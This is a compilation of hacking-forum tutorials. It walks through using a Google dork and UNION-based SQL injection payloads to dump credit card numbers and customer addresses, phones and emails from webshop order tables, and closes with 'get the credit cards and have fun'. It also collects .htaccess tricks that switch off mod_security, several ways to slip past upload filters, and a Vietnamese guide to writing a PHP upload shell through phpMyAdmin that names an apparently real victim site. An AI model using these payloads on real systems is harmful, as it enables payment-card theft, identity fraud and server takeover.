Webshop Hacking (Credit Cards)

Hey Guys Its -Reb0rn 


1) we got to search google for webshops , I used this dork :

Code:

inurl:customer_testimonials.php testimonial_id=

2)lets say we got this site 

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7

3) we got to check if its vulnerable to SQLi , we add this 

Code:

     '

to url :
>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7'

if we get a error means website its vuln.

4) we have to check for column number we try with 10 first

Code:

  +order+by+10-

- :
>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+order+by+10--

if we dont get a error means the website has more then 10 columns , if we get a error means the website has less then 10 columns

5 )this time we get a error now we try from 1 to 9

Code:

   +union+select+1,2,3,4,5,6,7,8,9--

>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,3,4,5,6,7,8,9--

now we found it the website has 9 columns

6) most of time we can get infos from table 3 and 6 , lets say now we can from 3 xD , now we can get database user , database name and database version in this way :

*- database user

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,user(),4,5,6,7,8,9--

*- database name

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,database(),4,5,6,7,8,9--

*- database version

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,version(),4,5,6,7,8,9--

7) we need the table names we add this to url :

Code:

 +union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

 now we need columns : we add this to url :

Code:

+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

9) now all we got to do is view the orders and customers infos (there are the credit cards xD) : if we add this to url we will get credit card numbers , payment method , credit card type ......

Code:

+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9fromorders--

>>>

Code:

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9+from+orders--

if we add this to url we will get many infos about costumers , address , phone number , e-mails , zip code , and the credit card infos all of them

Code:

+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

>>>

Code:

http://www.JustExample.com
/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

now one step left

10 ) get the credit cards and have fun 

ALL .htaccess from begin

403 Forbidden error was encountered...

SetHandler modified by hcinou
# increase performance by disabling allowoverride
AllowOverride All None
DirectoryIndex index.html index.htm index.php index.php4 index.php5
Options All +Indexes +FollowSymLinks
Options All +ExecCGI
Options All +Indexes
Options All +FollowSymLinks
Options All +SymLinksIfOwnerMatch
Options All +MultiViews
Options All +Includes
Options All +IncludesNOEXEC
AddType ****/plain .php
AddType application/octet-stream .php
AddHandler server-parsed .php
Addhandler cgi-script .asp
AddType txt .php
AddHandler txt .php

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
ServerSignature Off
RewriteEngine on
RewriteRule (.*).was$ $1.was
</IfModule>


-----
# For security reasons, Option followsymlinks cannot be overridden.
#Options +FollowSymLinks Options +SymLinksIfOwnerMatch
DirectoryIndex seees.html
RemoveHandler .php
AddType application/octet-stream .php


-------
for cgi running

## START ##
Options +FollowSymLinks
DirectoryIndex seees.html
Options +Indexes
Options +ExecCGI
AddHandler cgi-script cgi pl wasRewriteEngine on
RewriteRule (.*).was$ $1.was


-------
for Internal Server Error

application/x-httpd-cgi


-------
mod_security:

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>


------
http.conf:

Options ExecCGI
AddType application/x-httpd-cgi .xx
AddHandler cgi-s cript .xx


-------
register_globals:
php_flag register_globals “off”


--------
open_basedir:

php_flag open_basedir “off”


--------
symlinks:

Options FollowSymLinks


--------
for running an extension(for example gif):

AddType application/x-httpd-php .gif


--------
for redirect an error to a page you want:

ErrorDocument 500 /errors/500.php


--------
for prevent of file listing: 
Options All -Indexes


---------
for determining default page:

DirectoryIndex news.html


---------
redirecting:
Redirect /old_dir/ http://www.yourdomain.com/new_dir/index.html

--------
blocking and alowing:

Order allow,deny
Allow from 255.0.0.0
deny from 123.45.6.3
(or Denny from all)


--------
forbidden php.ini

<FilesMatch "^php5?\.(ini|cgi)$">
Order Deny,Allow 
Deny from All 
Allow from env=REDIRECT_STATUS 
</FilesMatch>


--------
all questions in private messages brothers:

displaying source of executable files:

RemoveHandler cgi-script .pl .cgi .php .py 
AddType text/plain .pl .cgi .php .py


-------
downloading file instead of viewing:

AddType application/octet-stream .zip .mp3 .mp4

Uploading Shell [4 Methods]

Hello all

This thread is for people who fail to upload shell onto websites ( Happens to me alot :P )

Try these methods below

---------------------------------------------------------------------------------
Method 1:---------------------------------------------------------------------------------
we all know that uploading scripts accepts JPG or GIF or both etc..
so its possible some times to bypass it by
renaming the file to
" shell.jpg.php "

---------------------------------------------------------------------------------
Method 2:---------------------------------------------------------------------------------
Sometimes we can upload PHP file by editing the parameters with tools such as
Tamper Data ( Firefox Addon )
Download Here:

Code:

https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Change the 

application/octet-streamto 
image/gifor
image/jpg
Video tuorial:

Code:

http://www.youtube.com/watch?v=OB5iQI5SkTw

However, that works on some scripts...

---------------------------------------------------------------------------------
Method 3:
---------------------------------------------------------------------------------
We can also upload shell by adding 
to the file name

%_00shell.jpgphp

shell.jpg%.php
or

shell.jpg;php (works alot specially on Win box'z )

---------------------------------------------------------------------------------
Method 4:---------------------------------------------------------------------------------
Another way is by tricking Apache
by adding PHP languages
For Example:
file.php.enthe Apache will read the file.php.en
as a normal php file 
cause .en refers to English
another example:
file.php.ar
.ar refers to Arabic and so on....
that helps when we find an uploading center that
denies PHP extinsions and allows any other unknown extionsion.

Well that's pretty much it

Good luck!

~Regards, Invectus

[Tut] Upshell PhpMyAdmin

Vì là newbie nên chưa có tut gì đóng góp cho diễn đan. Hôm nay mạo muội post tut upshell via phpmyadmin. Có gì khiếm khuyết mong các ACE trong rum bỏ quá cho.

Bước 1: Tìm Path của document root

+ Vào link http://www.victim.com/xampp/
Ví dụ: http://www.ehtpe.co.cu/xampp/





+ Vào Php infor() để xem path document root : C:/xampp/htdocs 





Bước 2: Loggin và cơ sở dữ liệu: 

+) http://www.ehtpe.co.cu/phpmyadmin

Bước 3: Tạo Database mới

Ví dụ: VHB_Group.

Sử dụng query:

CREATE DATABASE  VHB_Group;

Hoặc như hình minh họa dưới:



Bước 4: Tạo table mới

+) Trong database VHB_Group vừa tạo, tạo table mới, đặt tên là soleil, sử dụng query sau:

CREATE TABLE soleil (contentshell varchar(10000) not null)      

Bước 5: Chèn code shell

+) Chèn code shell upload vào table Soleil vừa được tạo, sử dụng query sau:

Quote

INSERT INTO soleil VALUES ('<?php
if ($HTTP_POST_VARS[\'submit\'])
{
if (!is_uploaded_file($HTTP_POST_FILES[\'file\'][\'tmp_name\']))
{
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//A file was uploaded
$maxfilesize=300000;
if ($HTTP_POST_FILES[\'file\'][\'size\'] > $maxfilesize)
{
$error = "File is too large.";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES[\'file\'][\'tmp_name\'],$HTTP_POST_FILES[\'file\'][\'name\']);
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
print "File has been successfully uploaded!";
exit;
}
}
}
?>

<html>
<head></head>
<body>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>');

Bước 6: Export file php 

Sử dụng querry:

SELECT * INTO DUMPFILE 'path/upload.php' from table_name;

Path: là path của document root.
Ví dụ:

SELECT * INTO DUMPFILE ' C:/xampp/htdocs /upload.php' from soleil;

Bước 7: Chạy Shell

Run shell theo đường link: http://domain/upload.php
Ví dụ: http://www.ehtpe.co.cu/upload.php



Sử dụng shell upload.php chúng ta có thể upload bất kỳ shell nào: